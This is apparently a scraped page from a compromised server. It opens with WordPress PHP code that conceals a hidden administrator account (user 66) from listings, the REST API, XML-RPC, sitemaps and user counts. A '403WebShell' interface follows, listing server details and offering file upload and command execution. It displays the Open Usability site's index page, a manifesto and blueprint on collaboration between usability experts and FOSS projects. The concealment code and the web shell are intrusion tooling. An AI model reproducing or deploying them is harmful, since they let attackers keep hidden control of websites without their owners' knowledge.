add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/openusability/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/openusability/index.html
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="icon" href="favicon.png" type="image/x-icon" />
	
	<title>Open Usability</title>
	
    <!-- Bootstrap -->
    <link href="css/bootstrap.min.css" rel="stylesheet">
	<link rel="stylesheet" href="custom.css">

    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
      <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
      <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
    <![endif]-->
  </head>
  <body>
    <div class="navbar navbar-inverse navbar-fixed-top" role="navigation">
      <div class="container">
        <div class="navbar-header">
          <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
            <span class="sr-only">Toggle navigation</span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
          </button>
          <a class="navbar-brand" href="#"><img src="images/ou-logo_small.png" />&nbsp;&nbsp;Open Usability</a>
        </div>
        
      <nav class="collapse navbar-collapse bs-navbar-collapse" role="navigation">
       <ul class="nav navbar-nav">
        <li><a href="#" onclick="$('html, body').animate({scrollTop: $('#manifesto').offset().top}, 1000);">Manifesto</a></li>
        
        <li class="blueprint_mainnav"><a href="#" onclick="$('html, body').animate({scrollTop: $('#blueprint').offset().top - 81}, 1000);">Blueprint</a></li>
		
		<li class="blueprint_subnav dropdown-header">Blueprint for…</li>
        <li class="blueprint_subnav"><a href="#" onclick="$('html, body').animate({scrollTop: $('#projects').offset().top - 60}, 1000);">FOSS Projects</a></li>
        <li class="blueprint_subnav"><a href="#" onclick="$('html, body').animate({scrollTop: $('#students').offset().top - 60}, 1000);">Students</a></li>
        <li class="blueprint_subnav"><a href="#" onclick="$('html, body').animate({scrollTop: $('#experts').offset().top - 60}, 1000);">Experts</a></li>
        

        <li><a href="#" onclick="$('html, body').animate({scrollTop: $('#contact').offset().top - 51}, 1000);">Questions?</a></li>
      </ul>
      </nav>
      
      <script>$('.navbar .nav > li > a').click(function () {$('.navbar-collapse.navbar-ex1-collapse.in').removeClass('in').addClass('collapse').css('height', '0');});</script> 
        
	</div>
	</div>

    <!-- Main jumbotron for a primary marketing message or call to action -->
    <div class="jumbotron" id="manifesto">
      <div class="container">
    
		<h1>Manifesto</h1>
	  
		<p>When we started Open Usability in 2005, experienced usability/UX/&#8203;interaction
		<strong>experts</strong> were&nbsp;scarce.<br/>Today, this is no longer
		the&nbsp;case.</p>
		
        <p>Back in 2005, software <strong>projects</strong> that took usability&nbsp;& UX serious were
        extremely scarce (regardless of whether they were FOSS or
        closed/&#8203;proprietary).<br/>Today, this is also no longer the&nbsp;case.</p>

        <p>And yet, <strong>we are disappointed</strong> with the percentage of software
        that ships today with great usability&nbsp;& UX. Either experts and projects are
        not collaborating enough, or their collaboration is ineffective.</p>

        <p id="manifesto_scrollback">We want to change this depressing situation and
        want you to <strong>join us</strong>, by taking these&nbsp;actions&#8212;</p>
        
		<ol>
        <li><strong>Embrace</strong><br/>
        Software projects of all countries, reach out and embrace
        usability/UX/&#8203;interaction experts.
        <small class="manifesto_hidden">True, these experts see, think, talk and act
        really differently than you, but that is the point: they bring what&#8217;s
        dearly missing from your project. Don&#8217;t treat them as interlopers.</small></li>
        
        <li><strong>Define</strong> + <strong>Collaborate</strong><br/>
        Projects and experts, start a collaboration only with a clear definition of how
        significant, direct and immediate its impact will be on the next software
        release.</li>
		
        <li><strong>Change</strong><br/>
        Projects, to make the collaboration
        effective<span id="manifesto_elip">…</span><span id="manifesto_cut">,
        your processes will have to change. Experts, guide this transition, using all
        your experience.</span></li>

        <div class="button_container">
          <input type="button" id="manifesto_more" value="show all"
            onclick="$('#manifesto_elip').hide(); $('#manifesto_cut').show();
			$('.manifesto_hidden').show(1000); $(this).hide();">
        </div>

        <li class="manifesto_hidden"><strong>Focus</strong><br/>
        The success of your collaboration is measured in results; all energy must be
        focussed on shipping software with great usability&nbsp;&&nbsp;UX.</li>

        <li class="manifesto_hidden"><strong>Trust</strong><br/>
        Projects must be able to fully trust their experts in matters usability&nbsp;&
        UX; experts must be able to trust they are an effective link in the
        software&#8208;making&nbsp;chain.<br/>
        Trust is earned through action&nbsp;taken.</li>

        <li class="manifesto_hidden"><strong>Make it last</strong><br/>
        It takes a long and deep collaboration to deliver the wide&#8208;ranging and
        deep goal that is great usability&nbsp;& UX. Projects and experts, build a
        relationship that lasts for&nbsp;years.</li>
        </ol>

        <p class="manifesto_hidden">Software projects, if you treat your
        usability/UX/&#8203;interaction experts as if they&#8217;re your most valuable
        resource, they will respond by becoming your most valuable resource.
        <small>We salute you, Eric&nbsp;S.&nbsp;Raymond.</small></p>
        
        <h2 class="manifesto_hidden">An open invitation</h2>

        <p class="manifesto_hidden">Beyond this, we are convinced that in the long run,
        Free/Open Source Software (<strong>FOSS</strong>) can achieve better
        usability&nbsp;& UX than software made in a closed/&#8203;proprietary
        fashion.</p>

        <p class="manifesto_hidden">We call on all usability/UX/&#8203;interaction
        experts to join us and further <strong>explore</strong> the open traits of FOSS;
        to <strong>conceive</strong> new methods around them, to <strong>teach</strong>
        research&nbsp;& design using FOSS project contexts and to <strong>make</strong>
        optimal use&nbsp;of&#8212;</p>
		
		<ul class="manifesto_hidden">
		<li>the freedom to share and discuss innovation, ideas, concepts, designs and
		mock&#8209;ups&#8212;for public review and feedback&#8212;at any moment
		you&nbsp;choose;</li>
		
		<li>freely available daily/&#8203;bleeding&#8208;edge and beta software
		releases, which are used in earnest by real users, for testing purposes;</li>
		
		<li>open, world&#8208;wide and networked user communities, eager to provide
		feedback and participate in research and co&#8209;creation;</li>
		
		<li>the freedom to share&#8212;in&#8209;depth&#8212;your project involvement;
		your processes, methods and achievements, including the highly strategic&nbsp;parts.</li>
		</ul>
		
        <h2 class="manifesto_hidden">All together now</h2>

    	<p>Projects and experts, if you are looking to have a positive impact on
    	today&#8217;s software world, then check out our blueprint to
    	<strong>get&nbsp;started,&nbsp;today</strong>.</p>
       
        <div class="manifesto_hidden button_container">
          <input type="button" value="show less"
          onclick="$('html, body').animate({scrollTop: $('#manifesto_scrollback').offset().top}, 1000);
                   $('.manifesto_hidden').slideUp(1000, function() { $('#manifesto_more').show() });
                   $('#manifesto_elip').show(); $('#manifesto_cut').hide();">
        </div>
		
      </div>
    </div>

    <div class="container" id="blueprint">
	  <h2 class="h1">Blueprint</h2>
	  
      <div class="row">
        <div class="col-md-6">
          <h3 id="projects">for FOSS <strong>projects</strong>
          <small>our blueprint for collaboration with usability/UX/&#8203;interaction
          experts</small></h3>
          
          <ol>
          <li>Take a project&#8208;wide decision that you want to seriously work on your
          usability&nbsp;& UX, and are willing to open up to realise this&nbsp;goal.</li>
          
          <li>Make this decision public; announce it&#8212;on your homepage, blog or
          social network&nbsp;page.
          <small class="projects_hidden">This announcement is basically a collaboration
          ad. In&nbsp;it,&nbsp;describe:</small></li>
          
		  <small><ul class="projects_hidden">
          <li>your project, briefly (with further&#8208;reading&nbsp;links);</li>
          
          <li>why it is cool to work on it (leave out all the technical&nbsp;bits);</li>
          
          <li>what you are looking for&#8212;research of your users and usability,
          or interaction solutions designed for your situation;</li>
          
          <li>most importantly: your solid commitment of how much you will change in
          your project&#8212;and in code&#8212;for better usability&nbsp;&&nbsp;UX;</li>
          
          <li>ah, and mention how experts can reach&nbsp;you.</li>
          </ul></small>
          
          <li>Spread the word/&#8203;permalink of your announcement; use your
          online/&#8203;social networks&#8212;all of&nbsp;them.
          <small class="projects_hidden">You are counting on the network effect (friends
         of friends of…) to reach out beyond your usual community and find the people
         who can really help&nbsp;you.</small></li>
         
          
          <li>Select your expert. Look
          for<span id="projects_elip">…</span><span id="projects_cut">
          years of working experience, a structured, methodical approach and an
          open&nbsp;mind.</span>
          <small class="projects_hidden">No expert will tell you immediately what you
          should change or add to your software. Instead (s)he will ask you some
          questions and then be completely authoritative regarding the <em>process</em>
          for <em>determining</em> what to change&nbsp;or&nbsp;add.<br/>
          Remember: an expert with no (current) knowledge of your software will soon be
          a thousand times more effective than one of your long&#8208;term users with no
          usability/UX/&#8203;interaction experience.</small></li>
          
		  <div class="button_container">
			<input type="button" id="projects_more" value="show all"
			  onclick="$('#projects_elip').hide(); $('#projects_cut').show();
			  $('.projects_hidden').show(1000); $(this).hide();">
		  </div>
		  
          <li class="projects_hidden">Start collaborating. Your expert will structure
          the research/&#8203;design work, selecting tools and methods, as well as guide
          your process&nbsp;change.</li>
          
          <li class="projects_hidden">The <strong>secret of success</strong>: follow up
          wholeheartedly on the contributions of your expert. Just do it; convert them
          to code and ship&nbsp;them.</li>
          
          <li class="projects_hidden">Iterate. Your expert will also filter community
          feedback, explain what it actually means and point out where the
          next&nbsp;step&nbsp;is.</li>
          

		  <div class="projects_hidden button_container">
			<input type="button" value="show less"
			onclick="$('html, body').animate({scrollTop: $('#projects').offset().top}, 1000);
					 $('.projects_hidden').slideUp(1000, function() { $('#projects_more').show() });
					 $('#projects_elip').show(); $('#projects_cut').hide();">
		  </div>
          </ol> 
          
          <h3 id="students">for <strong>students</strong>
          <small>of usability/UX/&#8203;interaction, and young professionals&#8212;our
          blueprint for gaining experience through FOSS&nbsp;projects</small></h3>
          
          <ol>
          <li>Decide what kind of projects you would really love to work on, and would
          love to be able to show the&nbsp;world.</li>
          
          
		  <div class="button_container">
			<input type="button" id="students_more" value="show all"
			  onclick="$('#students_elip').hide(); $('#students_cut').show();
			  $('.students_hidden').show(1000); $(this).hide();">
		  </div>
		  
          <li class="students_hidden">Choose to apply to these internships based on how
          much the project appeals to you and how much you can&nbsp;learn.</li>
          
          
          <li class="students_hidden">Enjoy the freedom to openly discuss your internship work with as many
          people as&nbsp;possible.</li>

		  <div class="students_hidden button_container">
			<input type="button" value="show less"
			onclick="$('html, body').animate({scrollTop: $('#students').offset().top}, 1000);
					 $('.students_hidden').slideUp(1000, function() { $('#students_more').show() });
					 $('#students_elip').show(); $('#students_cut').hide();">
		  </div>
          </ol>
        </div>
         
        <div class="col-md-6">
          <h3 id="experts">for <strong>experts</strong>
          <small>in usability/UX/&#8203;interaction&#8212;our blueprint
          for collaboration with FOSS&nbsp;projects</small></h3>
          
          <ol>
          <li>Decide what kind of projects you would really love to work on, and would
          love to be able to show the&nbsp;world.</li>
          
          
          <li>Choose to contact one of these projects based on how much they appeal to
          you and how well you can help&nbsp;them.</li>
          
          <li>Check with the project for both openness and free&#8209;riding.
          <small class="experts_hidden">Do not bother checking the wild world of software
          licences. <strong>Openness</strong> is all about <em>your</em> work. Is it
          fully natural that you share your methods, plans, analysis, results, designs,
          discussions, critique and discontent with the whole world, whenever you want
          to? If not, then it is not open and we suggest you proceed with this project
          but treat, and charge, them like a normal customer.</small>
          <small class="experts_hidden">FOSS licences are strict on preventing
          <strong>free&#8209;riding</strong>, and so should you. There are basically
          three types of FOSS&nbsp;projects:</small></li>
          
          <small><ol class="experts_hidden">
          <li>Real <strong>pro bono</strong>. Nobody in the project (and we mean really
          <em>nobody</em>) gets any funding for working on it. We suggest you work pro
          bono for them too. You will enjoy the open working and the occasional trip to
          meet up with your collaborators.</li>
          
          <li>Money <strong>flows</strong>. This can be direct, with contributors being
          funded, or indirect: the project is associated with a commercial entity, that
          generates money with a &#8216;pro&#8217; version of the software; with
          consulting; or with customisation. We ask you not to work pro bono for these
          projects. Instead, we suggest you cut your rates by a substantial percentage
          (in exchange for the openness) and work on that&nbsp;basis.</li>
          
          <li><strong>Enterprise</strong>. There are quite a few &#8216;FOSS&#8217;
          projects that are de facto controlled by an enterprise (e.g.&nbsp;intel,
          samsung, google) or by large, commercial linux distributions (e.g.&nbsp;red
          hat, canonical, suse). We ask you not to work pro bono for these projects.
          Instead, we suggest you treat them like a normal enterprise customer and
          charge your full&nbsp;rates.</li>
          </ol></small>
          
          <li>With the leadership of the project, discuss
          and<span id="experts_elip">…</span><span id="experts_cut">
          tighten up their goals (both for your collaboration <em>and</em> the project
          in general) to the point where they are having an epiphany. <em>Then</em>
          start collaborating.</span></li>
          
		  <div class="button_container">
			<input type="button" id="experts_more" value="show all"
			  onclick="$('#experts_elip').hide(); $('#experts_cut').show();
			  $('.experts_hidden').show(1000); $(this).hide();">
		  </div>
		  
          <li class="experts_hidden">Take firm control of the means of delivery/&#8203;communication of your
          contributions and of how the developers follow up&nbsp;on&nbsp;it.
          <small>Never work via their bug tracker, or let your contributions get mangled
          by group discussions. Do analyse the power structure of FOSS projects
          (contribution = authority) and their open communication culture. Adapt your
          methods to&nbsp;these.</small></li>
          
          <li class="experts_hidden">The <strong>secret of success</strong>: constantly keep the leadership of the project
          focussed on those goals you defined with&nbsp;them.
          <small>Ensure that they understand the only way to get there, is via the road
          you are showing&nbsp;them.</small></li>
          
          <li class="experts_hidden">Iterate. Enjoy the early, and much more direct, contact with users&#8212;and
          filter, translate and manage it for the&nbsp;project.</li>

          
          <li class="experts_hidden">Need more manpower? May we suggest that you set up and mentor an internship programme?
          <small>Get help and give students and young professionals the chance to gain
          some valuable working experience, which they are able to show the world. To
          spread the word about your internships you can tweet about it</small></li>
          
          <li class="experts_hidden">Keep working together, for as long as it is fun and the project keeps
          shipping significant usability&nbsp;& UX improvements&#8212;as defined and
          measured, of course,&nbsp;by&nbsp;you.</li>

		  <div class="experts_hidden button_container">
			<input type="button" value="show less"
			onclick="$('html, body').animate({scrollTop: $('#experts').offset().top}, 1000);
					 $('.experts_hidden').slideUp(1000, function() { $('#experts_more').show() });
					 $('#experts_elip').show(); $('#experts_cut').hide();">
		  </div>
          </ol>
        </div>
      </div>
    </div>
          
    <hr>

    <div class="container" id="contact">
     <div class="row">
        <div class="col-md-8">
		  <h2>Ask Open&nbsp;Usability</h2>
		
		  <p>If you like to contribute, have a question regarding our blueprint, or
		  simply like to know more about Open Usability, then do not hesitate to
		  <a href="mailto:contact@openusability.org">mail&nbsp;us</a>.</p>
        </div>
     </div>
       <hr>

      <footer>
        <p><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/"><img alt="Creative Commons Licence" style="border-width:0" src="https://licensebuttons.net/l/by-sa/4.0/88x31.png" /></a><br/>This work by <span xmlns:cc="https://creativecommons.org/ns#" property="cc:attributionName">Open&nbsp;Usability</span> is licensed under a <a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">Creative Commons BY&#8209;SA&nbsp;4.0 International License</a>.</p>
        
        <p id="simprint"><a onclick="$('#imprint').show();$('#simprint').hide();" style="cursor:pointer">Imprint</a></p>
      	<div id="imprint" style="display:none;">
		  <h4>Imprint</h4>
		
		  <dl>
		  <dt>Disclaimer</dt>
		  <dd>OpenUsability is an imprint of jngl Skillsharing gGmbH. OpenUsability&nbsp; assumes no guarantee that the information on these
		  web pages is accurate, complete or up&#8209;to&#8208;date. To the extent which
		  OpenUsability links directly or indirectly to external web pages,
		  OpenUsability shall only assume liability for such content if it has
		  exact knowledge of the content and if it is technically possible and
		  reasonable to prevent its&nbsp;use.</dd><br>
		  <dt>Address</dt>
		  <dd>OpenUsability</dd>
		  <dd>c/o Jan Muehlig</dd>
		  <dd>Fraenkelufer 30</dd>
		  <dd>10999 Berlin</dd>
		  <dd>contact@openusability.org</dd>
		  <dd>+‭49 30 30138710‬</dd>
		  </dl>
		
		  <p><a onclick="$('#imprint').hide();$('#simprint').show();" style="cursor:pointer">Hide</a></p>
      	</div>
      </footer>
    </div>

    <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>    
    <!-- Include all compiled plugins (below), or include individual files as needed -->
    <script src="js/bootstrap.min.js"></script>

   <script>$(document).on('click',function(){ $('.collapse').collapse('hide'); })</script>
  </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit